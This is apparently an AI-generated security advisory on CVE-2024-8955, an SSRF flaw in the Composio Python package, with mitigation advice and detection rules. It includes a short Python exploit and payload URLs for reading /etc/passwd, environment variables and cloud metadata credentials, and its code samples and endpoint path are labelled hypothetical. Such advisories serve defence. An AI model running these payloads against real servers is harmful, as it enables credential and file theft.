CVE-2024-8955
Executive Summary
CVE-2024-8955 is a Server-Side Request Forgery (SSRF) vulnerability identified in composiohq/composio version v0.4.4. The flaw resides in the BROWSERTOOL_GOTO_PAGE and BROWSERTOOL_GET_PAGE_DETAILS actions, allowing an unauthenticated attacker to force the server to make arbitrary HTTP requests to internal or external resources. This can be leveraged to read sensitive files from the server's filesystem, such as configuration files, credentials, or source code. The vulnerability has a CVSS score of 6.8 (Medium), with a low EPSS score of 0.0% indicating limited active exploitation at this time. No official patch has been released, and no public exploit code or Nuclei template is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Composio is a Python-based tool distributed via PyPI. This vulnerability affects the composio package version 0.4.4. Organizations using this package in their supply chain should immediately assess their exposure and consider isolating the service until a patch is available. The lack of a patch and the nature of SSRF (which can lead to data exfiltration) make this a high-priority supply chain risk.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
- Confidentiality (C): High (H) – Full file read capability.
- Integrity (I): None (N) – No data modification.
- Availability (A): None (N) – No denial of service.
Threat Level: Medium. While the CVSS score is 6.8, the ability to read arbitrary files from the server (including cloud metadata endpoints like http://169.254.169.254/) elevates the risk in cloud environments. The lack of a patch and public PoC increases the urgency for detection and mitigation.
Deep Dive & Mechanics
The vulnerability is a classic SSRF in the BROWSERTOOL_GOTO_PAGE and BROWSERTOOL_GET_PAGE_DETAILS actions. These actions are designed to fetch web pages for browser automation. However, they do not validate or sanitize the URL provided by the user. An attacker can supply a URL pointing to internal resources (e.g., file:///etc/passwd, http://127.0.0.1:8080/admin, or http://169.254.169.254/latest/meta-data/). The server then fetches this URL and returns the content to the attacker.
Attack Flow:
- Attacker sends a POST request to the Composio API endpoint handling
BROWSERTOOL_GOTO_PAGE. - The request body contains a
urlparameter set tofile:///etc/passwd. - The server processes the request, reads the local file, and returns its contents in the response.
- The attacker can iterate through common files (e.g.,
/proc/self/environ,/etc/shadow,.env) to extract sensitive data.
Key Technical Details:
- The vulnerability is in the Python backend, likely using
requestsorurllibto fetch URLs. - No input validation or allowlist of permitted protocols/domains is implemented.
- The
file://protocol is not blocked, enabling local file disclosure.
Vulnerable vs. Patched Code
Vulnerable Code (v0.4.4):
# Hypothetical vulnerable implementation
def browser_tool_goto_page(url):
response = requests.get(url) # No validation
return response.text
Patched Code (Hypothetical):
# Patched implementation
import re
from urllib.parse import urlparse
ALLOWED_DOMAINS = ["example.com", "api.example.com"]
ALLOWED_PROTOCOLS = ["http", "https"]
def browser_tool_goto_page(url):
parsed = urlparse(url)
if parsed.scheme not in ALLOWED_PROTOCOLS:
raise ValueError("Invalid protocol")
if parsed.hostname not in ALLOWED_DOMAINS:
raise ValueError("Domain not allowed")
# Additional check to block private IPs
if is_private_ip(parsed.hostname):
raise ValueError("Private IP not allowed")
response = requests.get(url)
return response.text
Key Differences:
- The patched version validates the protocol (only HTTP/HTTPS allowed).
- It checks the domain against an allowlist.
- It blocks requests to private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, and link-local addresses).
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running Composio v0.4.4 with the vulnerable endpoints exposed.
- Network access to the target.
Exploit Steps:
- Identify the vulnerable endpoint (e.g.,
/api/v1/browser/goto). - Send a crafted request to read local files.
Example Exploit (Python):
import requests
target = "http://target.com:8000/api/v1/browser/goto"
payload = {"url": "file:///etc/passwd"}
response = requests.post(target, json=payload)
print(response.text)
Expected Output:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Advanced Exploitation:
- Read cloud metadata:
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin - Read environment variables:
file:///proc/self/environ - Read application config:
file:///app/.env
Blue Team (Detection & Hardening)
Detection:
- Monitor for requests to
file://orfile:schemes in API logs. - Alert on outbound HTTP requests to private IP ranges (127.0.0.0/8, 10.0.0.0/8, etc.).
- Look for anomalous response sizes (e.g., returning
/etc/passwdwhich is ~1KB).
Hardening:
- Immediately restrict network access to the Composio service (firewall rules).
- Implement a Web Application Firewall (WAF) rule to block
file://and private IP URLs. - If possible, disable the vulnerable actions until a patch is available.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to
file://scheme. - Requests to private IP addresses (127.0.0.1, 10.x.x.x, 172.16-31.x.x, 192.168.x.x).
- Requests to cloud metadata IPs (169.254.169.254).
- Unusually large response bodies from the API endpoint.
File IOCs:
- Access to
/etc/passwd,/etc/shadow,/proc/self/environ,.env,config.jsonvia the API.
Log IOCs:
- Log entries containing
file://in the URL parameter. - Log entries with
status_code: 200andresponse_size> 500 bytes for the vulnerable endpoint.
Detection Engineering
YARA Rule
rule CVE_2024_8955_SSRF_Composio {
meta:
description = "Detects SSRF attempts targeting Composio CVE-2024-8955"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-8955"
strings:
$file_protocol = "file://" ascii wide nocase
$private_ip = /(127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/ ascii wide
$cloud_metadata = "169.254.169.254" ascii wide nocase
condition:
any of them
}
Sigma Rule
title: CVE-2024-8955 SSRF Attempt Against Composio
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SSRF attempts exploiting CVE-2024-8955 in Composio
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: composio
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- 'file://'
- '127.0.0.1'
- '10.'
- '172.16.'
- '172.17.'
- '172.18.'
- '172.19.'
- '172.20.'
- '172.21.'
- '172.22.'
- '172.23.'
- '172.24.'
- '172.25.'
- '172.26.'
- '172.27.'
- '172.28.'
- '172.29.'
- '172.30.'
- '172.31.'
- '192.168.'
- '169.254.'
condition: selection
falsepositives:
- Legitimate use of file:// for debugging (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-8955 SSRF Attempt - Composio file://"; flow:to_server; content:"POST"; http_method; content:"file://"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-8955 SSRF Attempt - Private IP"; flow:to_server; content:"POST"; http_method; pcre:"/(127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/Ri"; classtype:attempted-recon; sid:1000002; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the Service: Place the Composio service behind a firewall that blocks outbound traffic to private IP ranges and the
file://protocol. - Disable Vulnerable Endpoints: If possible, disable the
BROWSERTOOL_GOTO_PAGEandBROWSERTOOL_GET_PAGE_DETAILSactions until a patch is available. - Apply WAF Rules: Use a Web Application Firewall to block requests containing
file://or private IP addresses in the URL parameter.
Long-Term Fix:
- The vendor must implement input validation to restrict allowed protocols (HTTP/HTTPS only) and domains (allowlist).
- Block requests to private IP ranges and cloud metadata endpoints.
- Implement a URL parser that rejects
file://and other dangerous schemes.
Workaround:
- If you cannot patch, consider using a reverse proxy (e.g., Nginx) to intercept and block malicious requests before they reach the Composio backend.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.